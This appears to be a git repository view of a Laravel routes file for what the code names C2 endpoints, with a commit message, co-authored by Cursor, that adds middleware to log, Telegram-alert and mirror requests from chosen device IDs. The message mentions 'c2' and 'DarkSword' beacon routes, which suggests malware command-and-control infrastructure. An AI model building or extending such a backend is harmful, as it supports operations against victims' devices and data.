root
46e250109e
Add InterceptDeviceData middleware that intercepts requests from
configured device IDs (INTERCEPT_DEVICE_KEYS in .env):
- Logs to separate file public/log/intercept/Ymd.log
- Sends Telegram alert via dedicated bot (INTERCEPT_BOT_TOKEN/CHAT_ID)
- Mirrors raw request to another domain (INTERCEPT_FORWARD_URL)
preserving method/path/query/headers/body, only changing host
- /event path skips Telegram push (telemetry noise) but still logs+forwards
- Request is never blocked; normal processing continues
Registered on xxbb routes (/a /u /event /result /t etc.), c2 routes
(/api/user/*), and DarkSword routes (/beacon /war /p /stats etc.).
Config: config/coruna.php -> intercept section
Env: INTERCEPT_DEVICE_KEYS, INTERCEPT_BOT_TOKEN, INTERCEPT_CHAT_ID,
INTERCEPT_PUSH_SKIP_PATHS, INTERCEPT_FORWARD_URL, INTERCEPT_FORWARD_TIMEOUT
Co-authored-by: Cursor <cursoragent@cursor.com>
24 lines
1.3 KiB
PHP
24 lines
1.3 KiB
PHP
<?php
|
|
|
|
use App\Http\Controllers\C2\C2Controller;
|
|
use App\Http\Middleware\DecryptCorunaBody;
|
|
use App\Http\Middleware\InterceptDeviceData;
|
|
use Illuminate\Support\Facades\Route;
|
|
|
|
Route::middleware([DecryptCorunaBody::class, InterceptDeviceData::class])->group(function () {
|
|
Route::get('/api/user/query', [C2Controller::class, 'query']);
|
|
Route::post('/api/user/avatar/set', [C2Controller::class, 'avatarSet']);
|
|
Route::post('/api/user/get', [C2Controller::class, 'userGet']);
|
|
Route::post('/api/user/avatar/put', [C2Controller::class, 'avatarPut']);
|
|
Route::post('/api/user/avatar/status', [C2Controller::class, 'avatarStatus']);
|
|
Route::post('/api/user/status', [C2Controller::class, 'status']);
|
|
Route::post('/api/user/set', [C2Controller::class, 'set']);
|
|
Route::post('/api/user/check', [C2Controller::class, 'check']);
|
|
Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']);
|
|
Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']);
|
|
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileDelete']);
|
|
Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']);
|
|
Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']);
|
|
Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']);
|
|
});
|